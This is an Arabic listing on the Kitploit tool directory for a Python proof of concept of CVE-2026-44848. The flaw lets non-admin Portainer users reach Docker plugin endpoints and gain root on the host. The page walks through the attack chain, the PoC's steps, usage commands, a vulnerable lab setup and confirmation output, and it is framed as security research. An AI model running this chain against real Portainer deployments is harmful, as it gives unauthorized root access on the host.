Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-44848-PoC — PoC لثغرة CVE-2026-44848: غياب التفويض في Portainer على نقاط نهاية إضافات Docker -> RCE على المضيف (GHSA-rrmm-9v76-h3p4). بايثون باستخدام المكتبة القياسية فقط. | Kitploit
أدوات/GitHubGitHub/boreas37/cve-2026-44848-poc
المصادقة والترخيصأمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان API
GitHubboreas37/cve-2026-44848-poc

CVE-2026-44848-PoC

PoC لثغرة CVE-2026-44848: غياب التفويض في Portainer على نقاط نهاية إضافات Docker -> RCE على المضيف (GHSA-rrmm-9v76-h3p4). بايثون باستخدام المكتبة القياسية فقط.

عرض المستودع
18منذ 22 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-44848 — Portainer: غياب التفويض على نقاط نهاية إضافات Docker → RCE على المضيف

إثبات المفهوم لثغرة CVE-2026-44848، وهي ثغرة انعدام المصادقة (CWE-862) في Portainer تتيح لمستخدم غير مسؤول (non-admin) يملك الوصول إلى نقطة نهاية Docker تنفيذ عمليات إضافات Docker ذات الامتيازات ← RCE كامل على المضيف.

استشارة GitHub الأمنية: GHSA-rrmm-9v76-h3p4 · CVSS 9.4 (حرجة).

السبب الجذري

يفرض Portainer التحكم في الوصول القائم على الأدوار (RBAC) فوق Docker API عبر تمرير الطلبات من خلال معالجات لكل مورد تطبّق فحوصات التفويض. نقاط نهاية إدارة الإضافات في Docker (/plugins/*) لم تُسجَّل مع معالج، لذلك لا تعمل طبقة التفويض عليها أبدًا. نتيجةً لذلك، يمكن لمستخدم قياسي (Role 2) — أو أي دور مُمنح وصولًا على مستوى نقطة النهاية — استدعاء عمليات إضافات مميزة مباشرةً ضد خادم Docker الكامن (daemon):

  • POST /plugins/pull — سحب إضافة عشوائية من أي سجل (registry)
  • تطلب الإضافة صلاحيات تشمل CAP_SYS_ADMIN وتركيبات (mounts) لمسارات المضيف
  • POST /plugins/{name}/enable — يشغّل Docker الإضافة بصلاحيات root على المضيف بهذه الإمكانيات ← وصول كامل لنظام ملفات المضيف وامتيازات معادلة لصلاحيات root على مضيف Docker

الإصدارات المتأثرة

  • >= 2.33.0, < 2.33.8
  • >= 2.39.0, < 2.39.2
  • >= 2.40.0, < 2.41.0

ما يوضحه إثبات المفهوم (PoC)

البدائية الأساسية للثغرة، القابلة لإعادة الإنتاج بأمان: يمكن لمستخدم قياسي (غير مسؤول) الوصول إلى واجهة Docker API المميزة /plugins/* عبر وكيل Portainer دون تفويض. يقوم بذلك من البداية إلى النهاية ضد نسخة Portainer حقيقية قابلة للاستغلال:

  1. يهيئ حساب مسؤول عبر POST /api/users/admin/init (يتحمل خطأ 409 ويعود إلى تسجيل الدخول).
  2. ينشئ مستخدمًا قياسيًا (bob، Role 2)، متعاملًا مع خطأ 409 عبر إعادة تعيين كلمة مروره.
  3. يسرد نقاط نهاية Docker (ينشئ تلقائيًا نقطة نهاية المقبس المحلي عبر multipart POST /api/endpoints إذا لم يوجد أي منها) ويمنح bob الوصول عبر PUT /api/endpoints/{id} UserAccessPolicies.
  4. يسجّل الدخول بصفة bob (المستخدم غير المسؤول) ويستدعي GET /api/endpoints/1/docker/plugins باستخدام رمز bob.
  5. HTTP 200 → وصل المستخدم القياسي إلى نقطة النهاية المميزة → تم تأكيد تجاوز المصادقة.

الاستخدام

root@kitploit:~
# Defaults: https://localhost:9444, random admin password
python3 portainer_plugin_poc.py

# Explicit target + admin password + command
python3 portainer_plugin_poc.py --url https://localhost:9444 --admin-pass 'P@ssw0rd!' --command "id; hostname"

# Write a JSON summary
python3 portainer_plugin_poc.py --url https://localhost:9444 --output out.json

python3 portainer_plugin_poc.py --help

يتطلب مكتبة Python 3 القياسية فقط. تم تعطيل التحقق من TLS (شهادات مختبر موقعة ذاتيًا).

المختبر (إعادة الإنتاج)

root@kitploit:~
docker run -d --name portainer-lab-cve44848 \
  -p 127.0.0.1:9444:9443 \
  -v /var/run/docker.sock:/var/run/docker.sock \
  portainer/portainer-ce:2.39.1   # vulnerable

المخرجات المؤكدة

root@kitploit:~
AUTH-BYPASS CONFIRMED: standard user reached /plugins (HTTP 200)
=> PASS (missing auth / host-RCE primitive confirmed)

المراجع

  • GHSA-rrmm-9v76-h3p4
  • CVE-2026-44848 (NVD/cvefeed)

إخلاء المسؤولية

لأغراض البحث والاختبار الأمني المصرح به فقط. يمكن لخطوة التمكين (POST /plugins/*) منح صلاحيات root على المضيف؛ يتوقف إثبات المفهوم هذا عند توضيح تجاوز التفويض ولا يقوم بتمكين إضافة تخريبية/خبيثة. استخدمه فقط ضد أنظمة تملكها أو مخوّل باختبارها.

تنزيل الأداة